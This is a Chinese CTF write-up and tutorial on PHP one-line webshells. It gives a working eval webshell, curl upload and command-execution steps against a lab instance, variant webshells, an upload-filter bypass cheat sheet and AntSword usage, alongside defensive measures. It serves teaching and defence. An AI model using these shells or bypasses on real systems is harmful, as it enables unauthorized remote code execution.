一句话木马完全指南 —— 以「作业管理系统」靶场为样本
| 项目 | 内容 |
|---|---|
| 样本靶场 | http://node4.anna.nssnode.cn:26727/(Homework management Version 1.10.0.2) |
| 题型 | Web / 任意文件上传(Unrestricted File Upload)→ RCE |
| 前置漏洞 | 源码注释泄露默认弱口令 admin/admin |
| 核心考点 | 无后缀过滤上传 → 一句话木马 → 客户端接管 |
| 工具 | curl(手工验证)、AntSword 蚁剑(图形化接管) |
| 结果 | /flag → NSSCTF{8fa70c11-8708-4685-accb-d4a8a655b99f} |
注:靶场为平台临时实例,做题后会失效。复现请换自己的实例地址。
一、本题完整链路(先看它长什么样)
1.1 入口:一条注释送进来
访问首页,HTML 最底部:
<!--默认账户admin admin-->admin / admin 登录成功。顺带一个细节:登录后 Cookie 是
user=admin; pass=21232f297a57a5a743894a0e4a801fc321232f297a57a5a743894a0e4a801fc3 = md5("admin")。这套系统认证完全靠 Cookie 里的用户名和密码哈希,不校验会话——意味着即使不知道密码,只要 pass 字段能对上哈希,或者干脆构造 user=admin 都可能进后台。这是另一条备用路线。
1.2 后台:功能清单暴露攻击面
| 功能 | 表单入口 | 攻击面 |
|---|---|---|
| 主页/文件管理 | ?op=home&folder= | 文件浏览、移动、复制、压缩、删除、改权限 |
| 上传文件 | ?op=up → ?op=upload | 任意文件上传(本题致命点) |
| 远程下载 | ?op=up 下半部分 → ?op=yupload | SSRF / 任意 URL 下载 / 自动解压 |
| 创建文件/目录 | ?op=cr → ?op=create | 任意路径建文件(ndir 可控,可穿越) |
| MySQL 备份 | ?op=sqlb → ?op=sqlbackup | 可填远程 DB 地址 → 伪造 MySQL 服务端读文件 |
| FTP 备份 | ?op=ftpa → ?op=ftpall | 可填任意 FTP 地址 + 目标目录 |
注意:这道题真正的洞在第 2 项,但第 4、5、6 项都是出题人放的干扰项/备选路线,这在 CTF 里很常见——功能多的后台,往往只有一个是真的能用。
1.3 打通:上传一句话
「上传文件」页面的表单:
<FORM ENCTYPE='multipart/form-data' ACTION='/index.php?op=upload' METHOD='POST'>
<input type='File' name='upfile[]' multiple>
<input type='text' name='ndir' value='./'>注意 <input type='File' ...> 后面没有任何 accept 过滤,页面上也没写"仅允许图片"。这种页面九成没做后端校验。
直接传:
# 本地写一句话
printf '<?php @eval($_POST["ant"]); ?>' > _antsword.php
# 上传
curl -b cookies.txt "http://node4.anna.nssnode.cn:26727/index.php?op=upload" \
-F "upfile[]=@_antsword.php" -F "ndir=./"响应:
文件 ./_antsword.php 上传成功验证(这一步非常关键,上传成功 ≠ 能执行):
curl "http://node4.anna.nssnode.cn:26727/_antsword.php" -d 'ant=echo "A"."B";'
# 返回: ABAB 出来,说明 .php 被当作 PHP 解析、eval 正常执行,RCE 成立。
1.4 拿 flag
curl "http://node4.anna.nssnode.cn:26727/_antsword.php" -d 'ant=system("ls /;cat /flag");'/flag
flag=NSSCTF{8fa70c11-8708-4685-accb-d4a8a655b99f}二、一句话木马到底是什么
2.1 一行代码,三个角色
<?php @eval($_POST["ant"]); ?>
| 组成 | 作用 |
|---|---|
$_POST["ant"] | 从 POST 请求里取名为 ant 的参数值(ant 即"连接密码") |
eval() | 把拿到的字符串当 PHP 代码执行 |
@ | 抑制错误输出,避免报错暴露路径/语法 |
它本身不干活,只是一个代码执行的入口。真正的功能(列目录、读文件、下载、数据库管理)全在客户端(蚁剑)里,客户端每次操作都现场生成一段 PHP 代码 POST 过去。
2.2 一次蚁剑点击发生了什么
蚁剑 ──POST ant=@ini_set("display_errors","0");...列目录代码...──> shell.php
│
eval() 执行
│
蚁剑 <──────────── 执行结果(HTML/JSON) ─────────────────────────┘所以:
- 服务端一句话 = 门(只需要能执行任意 PHP)
- 客户端 = 工具箱(真正干活的部分)
- 换客户端(菜刀/蚁剑/冰蝎/哥斯拉)不用换 shell(编码方式对得上即可)
2.3 家族对比:一句话的几种“内脏”
| 写法 | 执行内容 | 对应客户端 | 特征 |
|---|---|---|---|
@eval($_POST['ant']); | PHP 代码 | 蚁剑/菜刀/冰蝎(明文模式) | 最通用,流量明文易被查杀 |
@assert($_POST['ant']); | PHP 代码 | 老版本菜刀 | PHP 7 起 assert 不再执行字符串,已基本失效 |
@system($_GET['c']); | 系统命令 | 手工 curl / 浏览器 | 简单直接,蚁剑连不上 |
@eval($_REQUEST['ant']); | PHP 代码 | 通用 | GET/POST/COOKIE 都收,灵活但更脏 |
preg_replace('/x/e', $_POST['a'], 'x'); | PHP 代码 | 无(需手写) | /e 修饰符,PHP 7 移除 |
call_user_func($_POST['f'], $_POST['a']); | 任意函数 | 需手写 payload | 回调型,绕 eval 关键字检测 |
array_map($_POST['f'], [$_POST['a']]); | 任意函数 | 需手写 | 同上,更隐蔽 |
| 冰蝎/哥斯拉加密马 | 加密的 PHP 代码 | 对应客户端 | 流量 AES 加密,绕流量检测 |
本机踩过的坑:先用 system($_GET['c']) 手工打得很爽,结果蚁剑报 404/空回显——因为蚁剑默认发的是 eval 型 POST。shell 类型必须和客户端匹配,这是新手第一个坑。
三、题型:一句话木马能"落地"的所有场景
一句话木马不是漏洞,它是**“拿到了任意代码执行"之后的接管手段**。所以分类要看"你怎么把文件写进去并且让它被执行”。
3.1 按落地方式分六大类
| 类型 | 典型题面 | 落地手段 | 难度 |
|---|---|---|---|
| A. 无限制上传(本题) | 后台上传点、头像上传、附件上传 | 直接传 .php | ★ |
| B. 上传绕过 | 有黑名单/白名单/MIME/前端校验 | .phtml、.php5、.htaccess、%00 截断、图片马+文件包含、二次渲染、条件竞争 | ★★~★★★ |
| C. 文件包含(LFI) | ?file=xxx、?page=xxx | 包含日志(access.log)、/proc/self/environ、session 文件、上传的图片马、php://input(需 allow_url_include) | ★★ |
| D. 任意文件写入 | 备份/导出/压缩/编辑器保存/日志注入 | 写进 web 目录,或写 .htaccess/.user.ini 再配图片马 | ★★ |
| E. 反序列化 / SQL 写文件 | POP 链、SELECT ... INTO OUTFILE | 反序列化 gadget 里调 file_put_contents;SQL 直接写马(需 secure_file_priv 允许) | ★★★ |
| F. 直接代码执行 | eval($_GET['a'])、assert、模板注入 | 不用文件,直接在参数里执行 file_put_contents 写马 | ★ |
3.2 本题属于哪一类,以及它为什么"简单"
本题是 A 类(无限制上传)+ 后台弱口令:
- 登录才看得到上传点 → 所以前置是弱口令(注释泄露)
- 上传点没有任何后缀校验 → 所以没有 B 类的绕过工作
- 服务器把
.php当脚本解析 → 所以 C 类都不需要
三个条件全满足 = 送分题。 只要有一个不满足,难度立刻跳一档:
| 缺哪个 | 会变成什么题 |
|---|---|
| 缺"能登录" | 需要找未授权访问 / 越权 / 注册后提权 |
| 缺"无过滤上传" | 变成 B 类上传绕过(黑名单→白名单→.htaccess→竞争…) |
| 缺"能解析" | 变成 C 类文件包含 / D 类写 .htaccess / 找解析漏洞 |
四、辨别:怎么判断一道题该走一句话路线
4.1 看功能,找"能产生文件"的地方
打开站点,先把所有能写文件的功能列出来:
| 功能 | 判断要点 |
|---|---|
| 上传(头像/附件/导入) | 有没有 accept、有没有前端 JS 校验、报错里有没有白名单提示 |
| 创建/新建文件 | 文件名、目录参数是否可控 |
| 备份/导出/日志 | 能否指定输出路径、压缩包能否解压到任意位置 |
| 远程下载 | url 是否任意、能否自动解压 zip(zip 穿越) |
| 编辑器/在线预览 | 能否保存、能否改扩展名 |
| 主题/插件/语言包 | 老 CMS 常见,直接传 zip 解压 |
4.2 看技术栈,判断"能不能执行"
| 线索 | 含义 |
|---|---|
X-Powered-By: PHP/7.3.22 | PHP 环境 → 优先 .php |
URL 带 .php、index.php?op= | 同上 |
Server: nginx + 静态目录可访问 | 上传目录是否可直连、是否禁 PHP |
| 报错页泄露绝对路径 | 给 D 类/日志注入提供落点 |
Set-Cookie: PHPSESSID | session 文件包含路线可行 |
有 upload/、uploads/ 目录 | 上传落点明确 |
4.3 看源码注释 / 备份文件(本题直接送分的地方)
| 位置 | 常见内容 |
|---|---|
| HTML 注释 | 默认账户、TODO、调试路径(本题的 <!--默认账户admin admin-->) |
robots.txt | 后台路径 |
www.zip / backup.zip / .git / .svn | 源码泄露 → 直接看过滤逻辑 |
phpinfo.php | 看 disable_functions、open_basedir、allow_url_include |
版本号(本题 1.10.0.2) | 搜该版本历史漏洞 |
4.4 一句话"自检"流程(拿到上传点后按顺序走)
① 直接传 .php 且访问 → 成功 → 结束(本题)
② 传 .php 被拒 → 看报错:前端/后端?黑名单/白名单?
③ 换后缀 .phtml .php5 .phar → 试解析
④ 传 .htaccess 改解析规则 → 再传图片马
⑤ 传 .user.ini 设 auto_prepend_file
⑥ 图片马 + 找文件包含点
⑦ 全都不行 → 转 LFI / 反序列化 / SQL 写文件路线五、解决方法:从"写进去"到"连得上"
5.1 通用四步法
| 步骤 | 做什么 | 判定标准 |
|---|---|---|
| ① 定位落点 | 找一个可写 + 可访问 + 可解析的路径 | 浏览器能直接访问到文件 |
| ② 写文件 | 上传 / 创建 / 包含 / 反序列化 | 返回"上传成功"或目录里能看到 |
| ③ 验证执行 | POST 一段无害代码(echo "A"."B";) | 返回 AB |
| ④ 接管 | 蚁剑/冰蝎添加数据 | 能列目录 |
第③步是最容易被跳过的一步,也是最重要的——很多题上传成功但目录禁止执行 PHP(nginx location ~ \.php$ { deny all; }),这时候要么换落点,要么走文件包含。
5.2 各种拦截对应解法速查
| 拦截方式 | 绕过手段 | 备注 |
|---|---|---|
| 前端 JS 校验扩展名 | Burp 改包 / 禁用 JS | 最弱,改包即可 |
Content-Type 校验 | 改 Content-Type: image/png | 只校验 MIME |
黑名单(php、php3) | .phtml、.php5、.phar、.pht、大小写 PHP、.php.、%00 截断(PHP<5.3.4) | 看 Apache/Nginx 解析配置 |
| 白名单(只允许 jpg/png) | 图片马 + 文件包含;.htaccess 重写;.user.ini | 白名单比黑名单难绕 |
内容检测(<?php) | 短标签 <?=、.htaccess 里 SetHandler、base64 变形、<script language="php">(PHP<7) | 配合图片马 |
| 二次渲染(GD 重绘) | 在 PNG IDAT 块间隙插码,或用 GIF 注释段 | 需分析渲染后字节 |
| 上传目录不可执行 | 文件包含、../ 穿越到可执行目录、.htaccess 提升权限 | 常见于现代框架 |
| 随机改名 | 竞争条件(一边传一边访问)、上传后读文件名接口 | 需要并发 |
5.3 蚁剑接管(本题实操 + 排错)
添加数据
| 字段 | 值 |
|---|---|
| URL | http://目标/_antsword.php |
| 连接密码 | ant |
| 编码/类型 | 默认(PHP eval,UTF-8) |
常见报错对照表
| 报错现象 | 原因 | 解决 |
|---|---|---|
| 返回 404 / Not Found | URL 端口或路径错(本题就是 :26 漏了 727) | 检查完整 URL,浏览器先访问确认 200 |
| 返回空 / 0 字节 | shell 是 system 型,蚁剑发的是 eval 型 | 换成 @eval($_POST[...]) |
| 返回源码明文 | 文件没被当 PHP 解析 | 换可解析落点,或走文件包含 |
返回 Unable to negotiate | 目标有 WAF / 需要 UA、Referer | 在蚁剑"请求信息"里补 UA/Referer |
| 连接成功但命令无回显 | disable_functions 禁用 system | 改用蚁剑的 PHP 函数模式(scandir/file_get_contents) |
| 上传后过一会 404 | 容器重启,文件被清 | 重新上传(CTF 临时实例常见) |
5.4 手工验证比蚁剑更可靠的原因
蚁剑是黑盒,出错只告诉你"连接失败"。先用 curl 手打一条无害代码,能回显再上工具:
# 验证 eval 是否可用
curl "http://目标/shell.php" -d 'ant=echo "A"."B";'
# 验证命令执行是否被禁
curl "http://目标/shell.php" -d 'ant=echo shell_exec("id");'
# 验证文件读取
curl "http://目标/shell.php" -d 'ant=echo file_get_contents("/flag");'三条都过,蚁剑必然能连。有一条不过,就知道问题在哪一层——这是排查效率最高的方式。
六、CTF 与实战的差别(别把 CTF 习惯带出去)
| 维度 | CTF | 实战 |
|---|---|---|
| 一句话形态 | 明文 @eval($_POST[x]) 就够 | 必须加密流量(冰蝎/哥斯拉)、免杀变形 |
| 落地 | 传上去能解析就赢 | 还要考虑 WAF、EDR、日志、文件监控 |
| 权限 | 一般 root / www 直读 flag | 需提权、横向 |
| 痕迹 | 无所谓 | 上传即留痕,需清理(授权测试范围内) |
| 目的 | 拿 flag | 拿权限 + 报告 |
七、防守视角(知道怎么防,才知道怎么打)
| 层面 | 措施 |
|---|---|
| 上传校验 | 白名单后缀 + MIME + 文件头魔数 + 重命名(随机名+安全后缀) |
| 存储位置 | 上传目录独立域名/独立存储,禁止脚本解析 |
| 权限 | 上传目录 noexec、Web 进程最小权限、open_basedir |
| 代码层 | 禁用 eval/assert/system 等危险函数(disable_functions) |
| 检测 | 静态扫描 + 流量检测(明文 eval 特征)+ 文件完整性监控 |
| 运维 | 删除安装文件、改默认口令、注释里不留凭据(本题就死在注释) |
八、总结表
| # | 环节 | 本题做法 | 通用方法论 |
|---|---|---|---|
| 1 | 信息收集 | 首页注释 <!--默认账户admin admin--> | 先扒 HTML 注释、robots、备份文件、版本号 |
| 2 | 进入后台 | admin/admin 登录 | 弱口令 / Cookie 伪造(pass=md5(pwd)) |
| 3 | 找攻击面 | 上传、创建文件、远程下载、DB/FTP 备份 | 列出所有"能写文件"的功能,逐一试 |
| 4 | 落点判断 | 上传点无 accept、无提示 → 疑无过滤 | 前端校验看源码,后端校验看报错 |
| 5 | 写马 | 直接传 _antsword.php | <?php @eval($_POST["ant"]); ?> |
| 6 | 验证 | POST echo "A"."B"; → AB | 上传成功 ≠ 可执行,必须回显验证 |
| 7 | 接管 | 蚁剑 URL + 密码 ant | shell 类型必须匹配客户端(GET system ≠ 蚁剑) |
| 8 | 提权/找 flag | ls / → cat /flag | 常见位置:/flag、webroot、/tmp、环境变量 |
| 9 | 排错 | 蚁剑 404 = URL 端口写错 | 先 curl 确认 200,再查客户端配置 |
一句话收束:一句话木马本身只有一行代码,真正决定成败的是**“能不能找到一个既能写入、又能被解析执行的位置”**——本题三个条件全送(弱口令进后台 + 无过滤上传 + 目录可执行),所以是入门题;而这三条里任何一条被堵上,就会演变成上传绕过、文件包含、反序列化等更硬的题型。
- 本文链接: https://quinc.cn/posts/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E5%AE%8C%E5%85%A8%E6%8C%87%E5%8D%97_upload_rce_writeup/
- 版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 许可协议。

